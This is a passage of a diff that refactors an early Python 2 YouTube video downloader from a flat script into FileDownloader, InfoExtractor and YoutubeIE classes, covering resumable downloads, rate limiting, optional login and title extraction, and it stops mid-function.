-def request_create(url, data=None):
-	retval = urllib2.Request(url)
-	if data is not None:
-		retval.add_data(data)
-	# Try to mimic Firefox, at least a little bit
-	retval.add_header('User-Agent', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11')
-	retval.add_header('Accept-Charset', 'ISO-8859-1,utf-8;q=0.7,*;q=0.7')
-	retval.add_header('Accept', 'text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5')
-	retval.add_header('Accept-Language', 'en-us,en;q=0.5')
-	return retval
-
-# Perform a request, process headers and return response
-def perform_request(url, data=None):
-	request = request_create(url, data)
-	response = urllib2.urlopen(request)
-	return response
-
-# Conditional print
-def cond_print(str):
-	global cmdl_opts
-	if not (cmdl_opts.quiet or cmdl_opts.get_url):
-		sys.stdout.write(str)
-		sys.stdout.flush()
-
-# Title string normalization
-def title_string_norm(title):
-	title = ''.join((x in string.ascii_letters or x in string.digits) and x or ' ' for x in title)
-	title = '_'.join(title.split())
-	title = title.lower()
-	return title
-
-# Generic download step
-def download_step(return_data_flag, step_title, step_error, url, post_data=None):
+std_headers = {
+	'User-Agent': 'Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2',
+	'Accept-Charset': 'ISO-8859-1,utf-8;q=0.7,*;q=0.7',
+	'Accept': 'text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5',
+	'Accept-Language': 'en-us,en;q=0.5',
+}
+
+simple_title_chars = string.ascii_letters.decode('ascii') + string.digits.decode('ascii')
+
+def preferredencoding():
+	"""Get preferred encoding.
+
+	Returns the best encoding scheme for the system, based on
+	locale.getpreferredencoding() and some further tweaks.
+	"""
 	try:
-		cond_print('%s... ' % step_title)
-		data = perform_request(url, post_data).read()
-		cond_print('done.\n')
-		if return_data_flag:
-			return data
-		return None
-
-	except (urllib2.URLError, ValueError, httplib.HTTPException, TypeError, socket.error):
-		cond_print('failed.\n')
-		error_advice_exit(step_error)
-
-	except KeyboardInterrupt:
-		sys.exit('\n')
+		pref = locale.getpreferredencoding()
+		# Mac OSX systems have this problem sometimes
+		if pref == '':
+			return 'UTF-8'
+		return pref
+	except:
+		sys.stderr.write('WARNING: problem obtaining preferred encoding. Falling back to UTF-8.\n')
+		return 'UTF-8'
 
-# Generic extract step
-def extract_step(step_title, step_error, regexp, data):
-	try:
-		cond_print('%s... ' % step_title)
-		match = regexp.search(data)
-		
-		if match is None:
-			cond_print('failed.\n')
-			error_advice_exit(step_error)
-		
-		extracted_data = match.group(1)
-		cond_print('done.\n')
-		return extracted_data
+class DownloadError(Exception):
+	"""Download Error exception.
 	
-	except KeyboardInterrupt:
-		sys.exit('\n')
-
-# Calculate new block size based on previous block size
-def new_block_size(before, after, bytes):
-	new_min = max(bytes / 2.0, 1.0)
-	new_max = max(bytes * 2.0, 1.0)
-	dif = after - before
-	if dif < const_epsilon:
-		return int(new_max)
-	rate = bytes / dif
-	if rate > new_max:
-		return int(new_max)
-	if rate < new_min:
-		return int(new_min)
-	return int(rate)
-
-# Get optimum 1k exponent to represent a number of bytes
-def optimum_k_exp(num_bytes):
-	global const_1k
-	if num_bytes == 0:
-		return 0
-	return long(math.log(num_bytes, const_1k))
-
-# Get optimum representation of number of bytes
-def format_bytes(num_bytes):
-	global const_1k
-	try:
-		exp = optimum_k_exp(num_bytes)
-		suffix = 'bkMGTPEZY'[exp]
-		if exp == 0:
-			return '%s%s' % (num_bytes, suffix)
-		converted = float(num_bytes) / float(const_1k**exp)
+	This exception may be thrown by FileDownloader objects if they are not
+	configured to continue on errors. They will contain the appropriate
+	error message.
+	"""
+	pass
+
+class SameFileError(Exception):
+	"""Same File exception.
+
+	This exception will be thrown by FileDownloader objects if they detect
+	multiple files would have to be downloaded to the same file on disk.
+	"""
+	pass
+
+class PostProcessingError(Exception):
+	"""Post Processing exception.
+
+	This exception may be raised by PostProcessor's .run() method to
+	indicate an error in the postprocessing task.
+	"""
+	pass
+
+class UnavailableFormatError(Exception):
+	"""Unavailable Format exception.
+
+	This exception will be thrown when a video is requested
+	in a format that is not available for that video.
+	"""
+	pass
+
+class ContentTooShortError(Exception):
+	"""Content Too Short exception.
+
+	This exception may be raised by FileDownloader objects when a file they
+	download is too small for what the server announced first, indicating
+	the connection was probably interrupted.
+	"""
+	# Both in bytes
+	downloaded = None
+	expected = None
+
+	def __init__(self, downloaded, expected):
+		self.downloaded = downloaded
+		self.expected = expected
+
+class FileDownloader(object):
+	"""File Downloader class.
+
+	File downloader objects are the ones responsible of downloading the
+	actual video file and writing it to disk if the user has requested
+	it, among some other tasks. In most cases there should be one per
+	program. As, given a video URL, the downloader doesn't know how to
+	extract all the needed information, task that InfoExtractors do, it
+	has to pass the URL to one of them.
+
+	For this, file downloader objects have a method that allows
+	InfoExtractors to be registered in a given order. When it is passed
+	a URL, the file downloader handles it to the first InfoExtractor it
+	finds that reports being able to handle it. The InfoExtractor extracts
+	all the information about the video or videos the URL refers to, and
+	asks the FileDownloader to process the video information, possibly
+	downloading the video.
+
+	File downloaders accept a lot of parameters. In order not to saturate
+	the object constructor with arguments, it receives a dictionary of
+	options instead. These options are available through the params
+	attribute for the InfoExtractors to use. The FileDownloader also
+	registers itself as the downloader in charge for the InfoExtractors
+	that are added to it, so this is a "mutual registration".
+
+	Available options:
+
+	username:	Username for authentication purposes.
+	password:	Password for authentication purposes.
+	usenetrc:	Use netrc for authentication instead.
+	quiet:		Do not print messages to stdout.
+	forceurl:	Force printing final URL.
+	forcetitle:	Force printing title.
+	simulate:	Do not download the video files.
+	format:		Video format code.
+	outtmpl:	Template for output names.
+	ignoreerrors:	Do not stop on download errors.
+	ratelimit:	Download speed limit, in bytes/sec.
+	nooverwrites:	Prevent overwriting files.
+	continuedl:	Try to continue downloads if possible.
+	"""
+
+	params = None
+	_ies = []
+	_pps = []
+	_download_retcode = None
+
+	def __init__(self, params):
+		"""Create a FileDownloader object with the given options."""
+		self._ies = []
+		self._pps = []
+		self._download_retcode = 0
+		self.params = params
+	
+	@staticmethod
+	def pmkdir(filename):
+		"""Create directory components in filename. Similar to Unix "mkdir -p"."""
+		components = filename.split(os.sep)
+		aggregate = [os.sep.join(components[0:x]) for x in xrange(1, len(components))]
+		aggregate = ['%s%s' % (x, os.sep) for x in aggregate] # Finish names with separator
+		for dir in aggregate:
+			if not os.path.exists(dir):
+				os.mkdir(dir)
+	
+	@staticmethod
+	def format_bytes(bytes):
+		if bytes is None:
+			return 'N/A'
+		if type(bytes) is str:
+			bytes = float(bytes)
+		if bytes == 0.0:
+			exponent = 0
+		else:
+			exponent = long(math.log(bytes, 1024.0))
+		suffix = 'bkMGTPEZY'[exponent]
+		converted = float(bytes) / float(1024**exponent)
 		return '%.2f%s' % (converted, suffix)
-	except IndexError:
-		sys.exit('Error: internal error formatting number of bytes.')
-
-# Calculate ETA and return it in string format as MM:SS
-def calc_eta(start, now, total, current):
-	dif = now - start
-	if current == 0 or dif < const_epsilon:
-		return '--:--'
-	rate = float(current) / dif
-	eta = long((total - current) / rate)
-	(eta_mins, eta_secs) = divmod(eta, 60)
-	if eta_mins > 99:
-		return '--:--'
-	return '%02d:%02d' % (eta_mins, eta_secs)
-
-# Calculate speed and return it in string format
-def calc_speed(start, now, bytes):
-	dif = now - start
-	if bytes == 0 or dif < const_epsilon:
-		return 'N/A b'
-	return format_bytes(float(bytes) / dif)
-
-
-# Title string minimal transformation
-def title_string_touch(title):
-	return title.replace(os.sep, '%')
-
-# Create the command line options parser and parse command line
-cmdl_usage = 'usage: %prog [options] video_url'
-cmdl_version = '2008.01.24'
-cmdl_parser = optparse.OptionParser(usage=cmdl_usage, version=cmdl_version, conflict_handler='resolve')
-cmdl_parser.add_option('-h', '--help', action='help', help='print this help text and exit')
-cmdl_parser.add_option('-v', '--version', action='version', help='print program version and exit')
-cmdl_parser.add_option('-u', '--username', dest='username', metavar='USERNAME', help='account username')
-cmdl_parser.add_option('-p', '--password', dest='password', metavar='PASSWORD', help='account password')
-cmdl_parser.add_option('-o', '--output', dest='outfile', metavar='FILE', help='output video file name')
-cmdl_parser.add_option('-q', '--quiet', action='store_true', dest='quiet', help='activates quiet mode')
-cmdl_parser.add_option('-s', '--simulate', action='store_true', dest='simulate', help='do not download video')
-cmdl_parser.add_option('-t', '--title', action='store_true', dest='use_title', help='use title in file name')
-cmdl_parser.add_option('-l', '--literal', action='store_true', dest='use_literal', help='use literal title in file name')
-cmdl_parser.add_option('-n', '--netrc', action='store_true', dest='use_netrc', help='use .netrc authentication data')
-cmdl_parser.add_option('-g', '--get-url', action='store_true', dest='get_url', help='print final video URL only')
-cmdl_parser.add_option('-2', '--title-too', action='store_true', dest='get_title', help='used with -g, print title too')
-(cmdl_opts, cmdl_args) = cmdl_parser.parse_args()
-
-# Set socket timeout
-socket.setdefaulttimeout(const_timeout)
-
-# Get video URL
-if len(cmdl_args) != 1:
-	cmdl_parser.print_help()
-	sys.exit('\n')
-video_url_cmdl = cmdl_args[0]
-
-# Verify video URL format and convert to "standard" format
-video_url_mo = const_video_url_re.match(video_url_cmdl)
-if video_url_mo is None:
-	sys.exit('Error: URL does not seem to be a youtube video URL. If it is, report a bug.')
-video_url_id = video_url_mo.group(2)
-video_url = const_video_url_str % video_url_id
-
-# Check conflicting options
-if cmdl_opts.outfile is not None and (cmdl_opts.simulate or cmdl_opts.get_url):
-	sys.stderr.write('Warning: video file name given but will not be used.\n')
-
-if cmdl_opts.outfile is not None and (cmdl_opts.use_title or cmdl_opts.use_literal):
-	sys.exit('Error: using the video title conflicts with using a given file name.')
-
-if cmdl_opts.use_title and cmdl_opts.use_literal:
-	sys.exit('Error: cannot use title and literal title at the same time.')
-
-if cmdl_opts.quiet and cmdl_opts.get_url:
-	sys.exit('Error: cannot be quiet and print final URL at the same time.')
-
-# Incorrect option formatting
-if cmdl_opts.username is None and cmdl_opts.password is not None:
-	sys.exit('Error: password give but username is missing.')
-
-if cmdl_opts.use_netrc and (cmdl_opts.username is not None or cmdl_opts.password is not None):
-	sys.exit('Error: cannot use netrc and username/password at the same time.')
-
-if cmdl_opts.get_url is None and cmdl_opts.get_title is not None:
-	sys.exit('Error: getting title requires getting URL.')
-
-# Get account information if any
-account_username = None
-account_password = None
 
-if cmdl_opts.use_netrc:
-	try:
-		info = netrc.netrc().authenticators('youtube')
-		if info is None:
-			sys.exit('Error: no authenticators for machine youtube.')
-		account_username = info[0]
-		account_password = info[2]
-	except IOError:
-		sys.exit('Error: unable to read .netrc file.')
-	except netrc.NetrcParseError:
-		sys.exit('Error: unable to parse .netrc file.')
-else:
-	account_username = cmdl_opts.username
-	if account_username is not None:
-		if cmdl_opts.password is None:
-			account_password = getpass.getpass('Type YouTube password and press return: ')
+	@staticmethod
+	def calc_percent(byte_counter, data_len):
+		if data_len is None:
+			return '---.-%'
+		return '%6s' % ('%3.1f%%' % (float(byte_counter) / float(data_len) * 100.0))
+
+	@staticmethod
+	def calc_eta(start, now, total, current):
+		if total is None:
+			return '--:--'
+		dif = now - start
+		if current == 0 or dif < 0.001: # One millisecond
+			return '--:--'
+		rate = float(current) / dif
+		eta = long((float(total) - float(current)) / rate)
+		(eta_mins, eta_secs) = divmod(eta, 60)
+		if eta_mins > 99:
+			return '--:--'
+		return '%02d:%02d' % (eta_mins, eta_secs)
+
+	@staticmethod
+	def calc_speed(start, now, bytes):
+		dif = now - start
+		if bytes == 0 or dif < 0.001: # One millisecond
+			return '%10s' % '---b/s'
+		return '%10s' % ('%s/s' % FileDownloader.format_bytes(float(bytes) / dif))
+
+	@staticmethod
+	def best_block_size(elapsed_time, bytes):
+		new_min = max(bytes / 2.0, 1.0)
+		new_max = min(max(bytes * 2.0, 1.0), 4194304) # Do not surpass 4 MB
+		if elapsed_time < 0.001:
+			return long(new_max)
+		rate = bytes / elapsed_time
+		if rate > new_max:
+			return long(new_max)
+		if rate < new_min:
+			return long(new_min)
+		return long(rate)
+
+	@staticmethod
+	def parse_bytes(bytestr):
+		"""Parse a string indicating a byte quantity into a long integer."""
+		matchobj = re.match(r'(?i)^(\d+(?:\.\d+)?)([kMGTPEZY]?)$', bytestr)
+		if matchobj is None:
+			return None
+		number = float(matchobj.group(1))
+		multiplier = 1024.0 ** 'bkmgtpezy'.index(matchobj.group(2).lower())
+		return long(round(number * multiplier))
+
+	@staticmethod
+	def verify_url(url):
+		"""Verify a URL is valid and data could be downloaded. Return real data URL."""
+		request = urllib2.Request(url, None, std_headers)
+		data = urllib2.urlopen(request)
+		data.read(1)
+		url = data.geturl()
+		data.close()
+		return url
+
+	def add_info_extractor(self, ie):
+		"""Add an InfoExtractor object to the end of the list."""
+		self._ies.append(ie)
+		ie.set_downloader(self)
+	
+	def add_post_processor(self, pp):
+		"""Add a PostProcessor object to the end of the chain."""
+		self._pps.append(pp)
+		pp.set_downloader(self)
+	
+	def to_stdout(self, message, skip_eol=False):
+		"""Print message to stdout if not in quiet mode."""
+		if not self.params.get('quiet', False):
+			print (u'%s%s' % (message, [u'\n', u''][skip_eol])).encode(preferredencoding()),
+			sys.stdout.flush()
+	
+	def to_stderr(self, message):
+		"""Print message to stderr."""
+		print >>sys.stderr, message.encode(preferredencoding())
+	
+	def fixed_template(self):
+		"""Checks if the output template is fixed."""
+		return (re.search(ur'(?u)%\(.+?\)s', self.params['outtmpl']) is None)
+
+	def trouble(self, message=None):
+		"""Determine action to take when a download problem appears.
+
+		Depending on if the downloader has been configured to ignore
+		download errors or not, this method may throw an exception or
+		not when errors are found, after printing the message.
+		"""
+		if message is not None:
+			self.to_stderr(message)
+		if not self.params.get('ignoreerrors', False):
+			raise DownloadError(message)
+		self._download_retcode = 1
+
+	def slow_down(self, start_time, byte_counter):
+		"""Sleep if the download speed is over the rate limit."""
+		rate_limit = self.params.get('ratelimit', None)
+		if rate_limit is None or byte_counter == 0:
+			return
+		now = time.time()
+		elapsed = now - start_time
+		if elapsed <= 0.0:
+			return
+		speed = float(byte_counter) / elapsed
+		if speed > rate_limit:
+			time.sleep((byte_counter - rate_limit * (now - start_time)) / rate_limit)
+
+	def report_destination(self, filename):
+		"""Report destination filename."""
+		self.to_stdout(u'[download] Destination: %s' % filename)
+	
+	def report_progress(self, percent_str, data_len_str, speed_str, eta_str):
+		"""Report download progress."""
+		self.to_stdout(u'\r[download] %s of %s at %s ETA %s' %
+				(percent_str, data_len_str, speed_str, eta_str), skip_eol=True)
+
+	def report_resuming_byte(self, resume_len):
+		"""Report attemtp to resume at given byte."""
+		self.to_stdout(u'[download] Resuming download at byte %s' % resume_len)
+	
+	def report_file_already_downloaded(self, file_name):
+		"""Report file has already been fully downloaded."""
+		self.to_stdout(u'[download] %s has already been downloaded' % file_name)
+	
+	def report_unable_to_resume(self):
+		"""Report it was impossible to resume download."""
+		self.to_stdout(u'[download] Unable to resume')
+	
+	def report_finish(self):
+		"""Report download finished."""
+		self.to_stdout(u'')
+
+	def process_info(self, info_dict):
+		"""Process a single dictionary returned by an InfoExtractor."""
+		# Do nothing else if in simulate mode
+		if self.params.get('simulate', False):
+			try:
+				info_dict['url'] = self.verify_url(info_dict['url'])
+			except (OSError, IOError, urllib2.URLError, httplib.HTTPException, socket.error), err:
+				raise UnavailableFormatError
+
+			# Forced printings
+			if self.params.get('forcetitle', False):
+				print info_dict['title'].encode(preferredencoding())
+			if self.params.get('forceurl', False):
+				print info_dict['url'].encode(preferredencoding())
+
+			return
+			
+		try:
+			template_dict = dict(info_dict)
+			template_dict['epoch'] = unicode(long(time.time()))
+			filename = self.params['outtmpl'] % template_dict
+		except (ValueError, KeyError), err:
+			self.trouble('ERROR: invalid output template or system charset: %s' % str(err))
+		if self.params['nooverwrites'] and os.path.exists(filename):
+			self.to_stderr(u'WARNING: file exists: %s; skipping' % filename)
+			return
+
+		try:
+			self.pmkdir(filename)
+		except (OSError, IOError), err:
+			self.trouble('ERROR: unable to create directories: %s' % str(err))
+			return
+
+		try:
+			success = self._do_download(filename, info_dict['url'])
+		except (OSError, IOError), err:
+			raise UnavailableFormatError
+		except (urllib2.URLError, httplib.HTTPException, socket.error), err:
+			self.trouble('ERROR: unable to download video data: %s' % str(err))
+			return
+		except (ContentTooShortError, ), err:
+			self.trouble('ERROR: content too short (expected %s bytes and served %s)' % (err.expected, err.downloaded))
+			return
+
+		if success:
+			try:
+				self.post_process(filename, info_dict)
+			except (PostProcessingError), err:
+				self.trouble('ERROR: postprocessing: %s' % str(err))
+				return
+
+	def download(self, url_list):
+		"""Download a given list of URLs."""
+		if len(url_list) > 1 and self.fixed_template():
+			raise SameFileError(self.params['outtmpl'])
+
+		for url in url_list:
+			suitable_found = False
+			for ie in self._ies:
+				# Go to next InfoExtractor if not suitable
+				if not ie.suitable(url):
+					continue
+
+				# Suitable InfoExtractor found
+				suitable_found = True
+
+				# Extract information from URL and process it
+				ie.extract(url)
+
+				# Suitable InfoExtractor had been found; go to next URL
+				break
+
+			if not suitable_found:
+				self.trouble('ERROR: no suitable InfoExtractor: %s' % url)
+
+		return self._download_retcode
+
+	def post_process(self, filename, ie_info):
+		"""Run the postprocessing chain on the given file."""
+		info = dict(ie_info)
+		info['filepath'] = filename
+		for pp in self._pps:
+			info = pp.run(info)
+			if info is None:
+				break
+	
+	def _do_download(self, filename, url):
+		stream = None
+		open_mode = 'ab'
+
+		basic_request = urllib2.Request(url, None, std_headers)
+		request = urllib2.Request(url, None, std_headers)
+
+		# Attempt to resume download with "continuedl" option
+		if os.path.isfile(filename):
+			resume_len = os.path.getsize(filename)
 		else:
-			account_password = cmdl_opts.password
-
-# Get output file name 
-if cmdl_opts.outfile is None:
-	video_filename = '%s.flv' % video_url_id
-else:
-	video_filename = cmdl_opts.outfile
-
-# Install cookie and proxy handlers
-urllib2.install_opener(urllib2.build_opener(urllib2.ProxyHandler()))
-urllib2.install_opener(urllib2.build_opener(urllib2.HTTPCookieProcessor()))
-
-# Log in and confirm age if needed
-if account_username is not None:
-	url = const_login_url_str % video_url_id
-	post = const_login_post_str % (video_url_id, account_username, account_password)
-	download_step(False, 'Logging in', 'unable to log in', url, post)
-
-	url = const_age_url_str % video_url_id
-	post = const_age_post_str % video_url_id
-	download_step(False, 'Confirming age', 'unable to confirm age', url, post)
-
-# Retrieve video webpage
-video_webpage = download_step(True, 'Retrieving video webpage', 'unable to retrieve video webpage', video_url)
-
-# Extract video title if needed
-if cmdl_opts.use_title or cmdl_opts.use_literal or cmdl_opts.get_title:
-	video_title = extract_step('Extracting video title', 'unable to extract video title', const_video_title_re, video_webpage)
-
-# Extract needed video URL parameters
-video_url_t_param = extract_step('Extracting URL "t" parameter', 'unable to extract URL "t" parameter', const_url_t_param_re, video_webpage)
-video_url_real = const_video_url_real_str % (video_url_id, video_url_t_param)
-
-# Rebuild filename if needed
-if cmdl_opts.use_title or cmdl_opts.use_literal:
-	if cmdl_opts.use_title:
-		prefix = title_string_norm(video_title)
-	else:
-		prefix = title_string_touch(video_title)
-	video_filename = '%s-%s.flv' % (prefix, video_url_id)
-
-# Check name
-if not video_filename.lower().endswith('.flv'):
-	sys.stderr.write('Warning: video file name does not end in .flv\n')
-
-# Retrieve video data
-try:
-	cond_print('Requesting video file... ')
-	video_data = perform_request(video_url_real)
-	cond_print('done.\n')
-	cond_print('Video data found at %s\n' % video_data.geturl())
-
-	if cmdl_opts.get_title:
-		print video_title
-
-	if cmdl_opts.get_url:
-		print video_data.geturl()
-
-	if cmdl_opts.simulate or cmdl_opts.get_url:
-		sys.exit()
+			resume_len = 0
+		if self.params['continuedl'] and resume_len != 0:
+			self.report_resuming_byte(resume_len)
+			request.add_header('Range','bytes=%d-' % resume_len)
+
+		# Establish connection
+		try:
+			data = urllib2.urlopen(request)
+		except (urllib2.HTTPError, ), err:
+			if err.code != 416: #  416 is 'Requested range not satisfiable'
+				raise
+			data = urllib2.urlopen(basic_request)
+			content_length = data.info()['Content-Length']
+			if content_length is not None and long(content_length) == resume_len:
+				self.report_file_already_downloaded(filename)
+				return True
+			else:
+				self.report_unable_to_resume()
+				open_mode = 'wb'
+
+		data_len = data.info().get('Content-length', None)
+		data_len_str = self.format_bytes(data_len)
+		byte_counter = 0
+		block_size = 1024
+		start = time.time()
+		while True:
+			# Download and write
+			before = time.time()
+			data_block = data.read(block_size)
+			after = time.time()
+			data_block_len = len(data_block)
+			if data_block_len == 0:
+				break
+			byte_counter += data_block_len
+
+			# Open file just in time
+			if stream is None:
+				try:
+					stream = open(filename, open_mode)
+					self.report_destination(filename)
+				except (OSError, IOError), err:
+					self.trouble('ERROR: unable to open for writing: %s' % str(err))
+					return False
+			stream.write(data_block)
+			block_size = self.best_block_size(after - before, data_block_len)
+
+			# Progress message
+			percent_str = self.calc_percent(byte_counter, data_len)
+			eta_str = self.calc_eta(start, time.time(), data_len, byte_counter)
+			speed_str = self.calc_speed(start, time.time(), byte_counter)
+			self.report_progress(percent_str, data_len_str, speed_str, eta_str)
+
+			# Apply rate limit
+			self.slow_down(start, byte_counter)
+
+		self.report_finish()
+		if data_len is not None and str(byte_counter) != data_len:
+			raise ContentTooShortError(byte_counter, long(data_len))
+		return True
+
+class InfoExtractor(object):
+	"""Information Extractor class.
+
+	Information extractors are the classes that, given a URL, extract
+	information from the video (or videos) the URL refers to. This
+	information includes the real video URL, the video title and simplified
+	title, author and others. The information is stored in a dictionary
+	which is then passed to the FileDownloader. The FileDownloader
+	processes this information possibly downloading the video to the file
+	system, among other possible outcomes. The dictionaries must include
+	the following fields:
+
+	id:		Video identifier.
+	url:		Final video URL.
+	uploader:	Nickname of the video uploader.
+	title:		Literal title.
+	stitle:		Simplified title.
+	ext:		Video filename extension.
+
+	Subclasses of this one should re-define the _real_initialize() and
+	_real_extract() methods, as well as the suitable() static method.
+	Probably, they should also be instantiated and added to the main
+	downloader.
+	"""
+
+	_ready = False
+	_downloader = None
+
+	def __init__(self, downloader=None):
+		"""Constructor. Receives an optional downloader."""
+		self._ready = False
+		self.set_downloader(downloader)
+
+	@staticmethod
+	def suitable(url):
+		"""Receives a URL and returns True if suitable for this IE."""
+		return False
+
+	def initialize(self):
+		"""Initializes an instance (authentication, etc)."""
+		if not self._ready:
+			self._real_initialize()
+			self._ready = True
+
+	def extract(self, url):
+		"""Extracts URL information and returns it in list of dicts."""
+		self.initialize()
+		return self._real_extract(url)
+
+	def set_downloader(self, downloader):
+		"""Sets the downloader for this IE."""
+		self._downloader = downloader
+	
+	def _real_initialize(self):
+		"""Real initialization process. Redefine in subclasses."""
+		pass
+
+	def _real_extract(self, url):
+		"""Real extraction process. Redefine in subclasses."""
+		pass
+
+class YoutubeIE(InfoExtractor):
+	"""Information extractor for youtube.com."""
+
+	_VALID_URL = r'^((?:http://)?(?:\w+\.)?youtube\.com/(?:(?:v/)|(?:(?:watch(?:\.php)?)?\?(?:.+&)?v=)))?([0-9A-Za-z_-]+)(?(1).+)?$'
+	_LANG_URL = r'http://uk.youtube.com/?hl=en&persist_hl=1&gl=US&persist_gl=1&opt_out_ackd=1'
+	_LOGIN_URL = 'http://www.youtube.com/signup?next=/&gl=US&hl=en'
+	_AGE_URL = 'http://www.youtube.com/verify_age?next_url=/&gl=US&hl=en'
+	_NETRC_MACHINE = 'youtube'
+	_available_formats = ['22', '35', '18', '5', '17', '13', None] # listed in order of priority for -b flag
+	_video_extensions = {
+		'13': '3gp',
+		'17': 'mp4',
+		'18': 'mp4',
+		'22': 'mp4',
+	}
+
+	@staticmethod
+	def suitable(url):
+		return (re.match(YoutubeIE._VALID_URL, url) is not None)
+
+	@staticmethod
+	def htmlentity_transform(matchobj):
+		"""Transforms an HTML entity to a Unicode character."""
+		entity = matchobj.group(1)
+
+		# Known non-numeric HTML entity
+		if entity in htmlentitydefs.name2codepoint:
+			return unichr(htmlentitydefs.name2codepoint[entity])
+
+		# Unicode character
+		mobj = re.match(ur'(?u)#(x?\d+)', entity)
+		if mobj is not None:
+			numstr = mobj.group(1)
+			if numstr.startswith(u'x'):
+				base = 16
+				numstr = u'0%s' % numstr
+			else:
+				base = 10
+			return unichr(long(numstr, base))
+
+		# Unknown entity in name, return its literal representation
+		return (u'&%s;' % entity)
+
+	def report_lang(self):
+		"""Report attempt to set language."""
+		self._downloader.to_stdout(u'[youtube] Setting language')
+
+	def report_login(self):
+		"""Report attempt to log in."""
+		self._downloader.to_stdout(u'[youtube] Logging in')
+	
+	def report_age_confirmation(self):
+		"""Report attempt to confirm age."""
+		self._downloader.to_stdout(u'[youtube] Confirming age')
+	
+	def report_video_info_webpage_download(self, video_id):
+		"""Report attempt to download video info webpage."""
+		self._downloader.to_stdout(u'[youtube] %s: Downloading video info webpage' % video_id)
+	
+	def report_information_extraction(self, video_id):
+		"""Report attempt to extract video information."""
+		self._downloader.to_stdout(u'[youtube] %s: Extracting video information' % video_id)
+	
+	def report_unavailable_format(self, video_id, format):
+		"""Report extracted video URL."""
+		self._downloader.to_stdout(u'[youtube] %s: Format %s not available' % (video_id, format))
+	
+	def _real_initialize(self):
+		if self._downloader is None:
+			return
+
+		username = None
+		password = None
+		downloader_params = self._downloader.params
+
+		# Attempt to use provided username and password or .netrc data
+		if downloader_params.get('username', None) is not None:
+			username = downloader_params['username']
+			password = downloader_params['password']
+		elif downloader_params.get('usenetrc', False):
+			try:
+				info = netrc.netrc().authenticators(self._NETRC_MACHINE)
+				if info is not None:
+					username = info[0]
+					password = info[2]
+				else:
+					raise netrc.NetrcParseError('No authenticators for %s' % self._NETRC_MACHINE)
+			except (IOError, netrc.NetrcParseError), err:
+				self._downloader.to_stderr(u'WARNING: parsing .netrc: %s' % str(err))
+				return
+
+		# Set language
+		request = urllib2.Request(self._LANG_URL, None, std_headers)
+		try:
+			self.report_lang()
+			urllib2.urlopen(request).read()
+		except (urllib2.URLError, httplib.HTTPException, socket.error), err:
+			self._downloader.to_stderr(u'WARNING: unable to set language: %s' % str(err))
+			return
+
+		# No authentication to be performed
+		if username is None:
+			return
+
+		# Log in
+		login_form = {
+				'current_form': 'loginForm',
+				'next':		'/',
+				'action_login':	'Log In',
+				'username':	username,
+				'password':	password,
+				}
+		request = urllib2.Request(self._LOGIN_URL, urllib.urlencode(login_form), std_headers)
+		try:
+			self.report_login()
+			login_results = urllib2.urlopen(request).read()
+			if re.search(r'(?i)<form[^>]* name="loginForm"', login_results) is not None:
+				self._downloader.to_stderr(u'WARNING: unable to log in: bad username or password')
+				return
+		except (urllib2.URLError, httplib.HTTPException, socket.error), err:
+			self._downloader.to_stderr(u'WARNING: unable to log in: %s' % str(err))
+			return
+	
+		# Confirm age
+		age_form = {
+				'next_url':		'/',
+				'action_confirm':	'Confirm',
+				}
+		request = urllib2.Request(self._AGE_URL, urllib.urlencode(age_form), std_headers)
+		try:
+			self.report_age_confirmation()
+			age_results = urllib2.urlopen(request).read()
+		except (urllib2.URLError, httplib.HTTPException, socket.error), err:
+			self._downloader.trouble(u'ERROR: unable to confirm age: %s' % str(err))
+			return
+
+	def _real_extract(self, url):
+		# Extract video id from URL
+		mobj = re.match(self._VALID_URL, url)
+		if mobj is None:
+			self._downloader.trouble(u'ERROR: invalid URL: %s' % url)
+			return
+		video_id = mobj.group(2)
+
+		# Downloader parameters
+		best_quality = False
+		format_param = None
+		quality_index = 0
+		if self._downloader is not None:
+			params = self._downloader.params
+			format_param = params.get('format', None)
+			if format_param == '0':
+				format_param = self._available_formats[quality_index]
+				best_quality = True
+
+		while True:
+			# Extension
+			video_extension = self._video_extensions.get(format_param, 'flv')
+
+			# Get video info
+			video_info_url = 'http://www.youtube.com/get_video_info?&video_id=%s&el=detailpage&ps=default&eurl=&gl=US&hl=en' % video_id
+			request = urllib2.Request(video_info_url, None, std_headers)
+			try:
+				self.report_video_info_webpage_download(video_id)
+				video_info_webpage = urllib2.urlopen(request).read()
+			except (urllib2.URLError, httplib.HTTPException, socket.error), err:
+				self._downloader.trouble(u'ERROR: unable to download video info webpage: %s' % str(err))
+				return
+			self.report_information_extraction(video_id)
+
+			# "t" param
+			mobj = re.search(r'(?m)&token=([^&]+)(?:&|$)', video_info_webpage)
+			if mobj is None:
+				# Attempt to see if YouTube has issued an error message
+				mobj = re.search(r'(?m)&reason=([^&]+)(?:&|$)', video_info_webpage)
+				if mobj is None:
+					self._downloader.trouble(u'ERROR: unable to extract "t" parameter for unknown reason')
+					stream = open('reportme-ydl-%s.dat' % time.time(), 'wb')
+					stream.write(video_info_webpage)
+					stream.close()
+				else:
+					reason = urllib.unquote_plus(mobj.group(1))
+					self._downloader.trouble(u'ERROR: YouTube said: %s' % reason.decode('utf-8'))
+				return
+			token = urllib.unquote(mobj.group(1))
+			video_real_url = 'http://www.youtube.com/get_video?video_id=%s&t=%s&eurl=&el=detailpage&ps=default&gl=US&hl=en' % (video_id, token)
+			if format_param is not None:
+				video_real_url = '%s&fmt=%s' % (video_real_url, format_param)
+
+			# uploader
+			mobj = re.search(r'(?m)&author=([^&]+)(?:&|$)', video_info_webpage)
+			if mobj is None:
+				self._downloader.trouble(u'ERROR: unable to extract uploader nickname')
+				return
+			video_uploader = urllib.unquote(mobj.group(1))
+
+			# title
+			mobj = re.search(r'(?m)&title=([^&]+)(?:&|$)', video_info_webpage)
+			if mobj is None:
+				self._downloader.trouble(u'ERROR: unable to extract video title')
+				return
+			video_title = urllib.unquote(mobj.group(1))
+			video_title = video_title.decode('utf-8')
+			video_title = re.sub(ur'(?u)&(.+?);', self.htmlentity_transform, video_title)
+			video_title = video_title.replace(os.sep, u'%')
+
+			# simplified title
+			simple_title = re.sub(ur'(?u)([^%s]+)' % simple_title_chars, ur'_', video_title)
+			simple_title = simple_title.strip(ur'_')
+
+			try:
